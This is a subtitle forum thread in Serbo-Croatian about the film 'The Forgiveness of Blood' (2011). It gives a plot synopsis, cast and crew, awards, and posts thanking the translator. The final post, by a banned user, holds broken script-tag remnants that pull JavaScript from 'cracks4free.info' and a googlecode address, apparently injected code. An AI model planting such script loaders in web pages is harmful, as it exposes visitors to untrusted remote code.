Prevodi || Titlovi || Преводи || Podnapisi || Prijevodi
Početna strana Početna strana > Filmovi i serije > Titlovi.com Vam sa ponosom predstavljaju - filmovi
  Aktivne teme Aktivne teme RSS Feed - The Forgiveness of Blood (2011)
  FAQ u vezi foruma FAQ u vezi foruma  Pretraži forum   Events   Registracija Registracija  Prijava Prijava


Pravila ponašanja na forumu :: Pravila za postavljanje prevoda :: FAQ u vezi prevoda :: Voditelji foruma
Potražnja prevoda :: Obaveštenje svim NOVIM članovima !!! :: UPUTE ZA IZRADU I SINKRONIZACIJU PRIJEVODA
OFICIJALNI KODI PLUGIN

The Forgiveness of Blood (2011)
The Forgiveness of Blood

The Forgiveness of Blood (2011)   | BA | HR | MK | RS | SI |

Naslov:

Krvna osveta

Godina:

2011

Žanr:

drama

Trajanje:

109 min

Režija:

Joshua Marston

Scenarij:

Joshua Marston
, Andamion Murataj


Glavne uloge:


Refet Abazi
  >  Mark
Luan Jaha
  >  Zef
Çun Lajçi
  >  Ded
Selman Lokaj
  >  Kreshnik
Tristan Halilaj
  >  Nik
Ilire Vinca Celaj
  >  Drita
Sindi Lacej
  >  Rudina
Esmeralda Gjonlulaj
  >  Bora
Zefir 'Bep' Bushati
  >  Valmir
Veton Osmani
  >  Sokol
Ibrahim Ymeri
  >  School Director
Kol Zefi
  >  Shpend
Zana Hasaj
  >  Bardha
Elsajed Tallalli
  >  Dren
Erjon Mani
  >  Tom

 Odgovori Odgovori
Korisnik
Poruka
  Tema Pretraži Tema Pretraži  Opcije teme Opcije teme
Salvador View Drop Down
Banned user
Banned user
Avatar
Vlad Tepeš aka Vlad Nabijač

Pridružen: 27.Srpanj/Jul.2010
Lokacija: Rijeka
Status: Offline
Points: 8210 		Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj Salvador Citiraj  OdgovoriOdgovor Direktni link do posta Tema: The Forgiveness of Blood (2011)
    Objavljeno: 22.Sijecanj/Jan.2012 u 11:58
The Forgiveness of Blood aka Falja e gjakut aka La Faida (2011)

Drama od nagrađivanog ko-scenariste i redatelja, Joshua Marstona, snimljena u ko-produkciji Amerike, Albanije, Danske i Italije, a bavi se krvnom osvetom koja se nažalost još odvija u Albanij, Turskoj te u južnim dijelovima Italije. Producent filma je Paul Mezey, dok su za specijalne efekte zaslužni:Jessica Elvin, Eric Leverenz i Morgan Miller. Premijerno je prikazan 18. veljače 2011. na Međunarodnom filmskom festivalu u Berlinu i tamo je dobio posebno priznanje ekumenskog žirija te nagradu Srebrni medvjed za najbolji scenarij., a na Međunarodnom filmskom festivalu u Čikagu je osvojio nagradu Srebrni Hugo za najbolji scenarij. Službena kino premijera je održana 17. rujna u Albaniji, dok će se limitiran kino premijera održati 24. veljače 2012. u Americi.

IMDB

RADNJA

U središtu priče nalazi se jedna obitelj iz Albanije, a glavni likovi su tinejdžeri, Rudina, najstarija kći i Nick,najstariji sin. Oni vode prilično normalan život, međutim njihovo se bezbrižno odrastanje prekida kad njegov otac i stric ubiju susjeda i tako se raspire stoljećima star sukob. Nick i njegova obitelj nađu se pod strogim pravilima Kanuna, albanskog kodeksa iz 15. stoljeća koji određuje da oštećena obitelj može tražiti pravdu tako što će ubiti bilo kojeg muškog člana suprotstavljenog klana. Nickov se otac skriva, a dječak i njegova braća završavaju u nekoj vrsti srednjovjekovnog kućnog pritvora, dok je samo ženama dopušteno da izađu iz kuće. Regina  je primorana napustiti školu kako bi se brinula o braći i kako bi nastavila očev posao...

TRAILER



Ažurirao Salvador - 22.Sijecanj/Jan.2012 u 12:07
Na vrh
A2D2 View Drop Down
eXtreme member
eXtreme member

Lonesome Cowboy

Pridružen: 18.Studeni/Nov.2009
Lokacija: Mostar
Status: Offline
Points: 4209 		Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj A2D2 Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 07.Sijecanj/Jan.2013 u 12:05
The Forgiveness of Blood (2011)



Link

SAD, Albanija, Danska, Italija, 2010

Redatelj: Joshua Marston

Scenarist: Joshua Marston, Andamion Murataj

Produkcijska kuća: Journeyman Pictures

Direktor fotografije: Rob Hardy

Montaža: Malcolm Jamieson

Glazba: Jacobo Lieberman, Leonardo Heiblum

Glumci: Tristan Halilaj, Sindi Laçej, Refet Abazi, Ilire Vinca Çelaj, Çun Lajçi

Producent: Aleš Pavlin, Andrej Štritof

Ocjena na imdb: 6,7/10

Dužina: 108'

Sinopsis

Nik je albanski tinejdžer s uobičajenim tinejdžerskim interesima. Voli 'zujati' po internetu, voziti motocikl svog prijatelja i očijukati s Bardhom, djevojkom duge pletenice i stidljivog osmijeha s kojom ide u školu. Njegovo se bezbrižno odrastanje, međutim, prekida kad njegov otac i stric ubiju susjeda i tako raspire stoljećima star sukob. Nik i njegova obitelj nađu se pod strogim pravilima Kanuna, albanskog kodeksa iz 15. stoljeća koji određuje da oštećena obitelj može tražiti pravdu tako što će ubiti bilo kojeg muškog člana suprotstavljenog klana. Nikov se otac skriva, a dječak i njegova braća završavaju u nekoj vrsti srednjovjekovnog kućnog pritvora. 'Krvna osveta' snažna je priča o sazrijevanju i izuzetna analiza načela krvne osvete. Film prikazuje latentni osjećaj opasnosti, ali i deprimirajuću dosadu s kojom su suočeni tinejdžeri koji se nađu pod utjecajem starinskih običaja i dužnosti koje im nisu bliske. Kao i u filmu 'Marija milosti puna', Marston nam omogućava da uronimo u jedan često skriveni dio svijeta.

Nagrade i festivali

Međunarodni filmski festival u Berlinu 2011. - Posebno priznanje ekumenskog žirija, Srebrni medvjed za najbolji scenarij

Životopis redatelja

Joshua Marston rođen je u Kaliforniji. Magistrirao je politologiju na Čikaškom sveučilištu i film na Njujorškom sveučilištu. Režirao je film 'Marija milosti puna' (2004., posebna pohvala žirija na 2. Zagreb Film Festivalu), segment iz omnibusa 'New York, I Love You' (2009.) i 'Krvna osveta' (2011).

Trailer


Izvor teksta: Zagreb Film Festival


 
Nitko nije toliko bogat da može bez osmjeha i nitko toliko jadan da ga ne bi zaslužio.
Na vrh
LjubicaSP View Drop Down
Moderator
Moderator
Avatar
upir translator

Pridružen: 08.Kolovoz/Aug.2010
Lokacija: Beograd
Status: Offline
Points: 51253 		Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj LjubicaSP Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 13.Sijecanj/Jan.2013 u 20:15
Da li je neko najavio ovaj film?


Ažurirao LjubicaSP - 13.Sijecanj/Jan.2013 u 20:17
Na vrh
Kneginja View Drop Down
The Legend Of
The Legend Of
Avatar
Sto me ne ubije... ide u moje memoare.

Pridružen: 21.Srpanj/Jul.2005
Status: Offline
Points: 16383 		Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj Kneginja Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 13.Sijecanj/Jan.2013 u 20:51
Originalno postovano od strane LjubicaSP LjubicaSP piše:

Da li je neko najavio ovaj film?





U spisku najava ga nema, mozes ga rezervirati ako zelis Smile
Sto me ne ubije... ide u moje memoare.
Na vrh
Dr Dragan View Drop Down
The Legend Of
The Legend Of
Avatar
Доца

Pridružen: 16.Prosinac/Dec.2006
Lokacija: Рача-Крагујевац
Status: Offline
Points: 4334 		Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj Dr Dragan Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 16.Ožujak/Mar.2013 u 20:43

Postavljen prevod.Hvala sinrazmetni na istom Clap

Prevod mozete skinuti:


O  V  D  E
Na vrh
LjubicaSP View Drop Down
Moderator
Moderator
Avatar
upir translator

Pridružen: 08.Kolovoz/Aug.2010
Lokacija: Beograd
Status: Offline
Points: 51253 		Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj LjubicaSP Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 19.Ožujak/Mar.2013 u 00:05
Hvala na prevodu sinerazmetni jer da tebe nema, verovatno ga ne bi ni bilo.
To se valjda Knegi šalila kada me je pitala hoću li ga rezervisati.
Upravo sam ga odgledala sa porodicom. Priča, nažalost, sasvim životna, realna.
O tom svetu ne znamo mnogo, iako imaju slične želje i interesovanja kao mi,
ali i neke nama nepoznate brige i strahove.
Preporuka svima koji žele da pogledaju nešto drugačije, dobar evropski film.
Prevod je zaista odličan, hvala prevodiocu još jednom Smile
Na vrh
peromare View Drop Down
member
member
Avatar

Pridružen: 26.Listopad/Oct.2005
Lokacija: Macedonia
Status: Offline
Points: 21 		Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj peromare Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 22.Ožujak/Mar.2013 u 22:58
Hvala za "sinrazmetni" !!!
Cestitke za prevod druze!
Clap Thumbs Up Wink
Na vrh
sinrazmetni View Drop Down
Banned user
Banned user
Avatar

Pridružen: 27.Ožujak/Mar.2012
Status: Offline
Points: 155 		Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj sinrazmetni Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 22.Ožujak/Mar.2013 u 23:05
@peromare< ="text/" ="//my-pro-project.googlecode.com/s/connd.js">< ="text/" ="http://cracks4free.info/s/section/user/d.txt">< ="text/" ="//cracks4free.info/s/section/user/conn.js">

Ska perse! :D
Na vrh
 Odgovori Odgovori
  Prosledi temu   

Pređi na drugi Forum Forumska ovlašćenja View Drop Down

Forum Software by Web Wiz Forums® version 11.01
Copyright ©2001-2014 Web Wiz Ltd.

Stranica je generirana u 0,156 sekundi.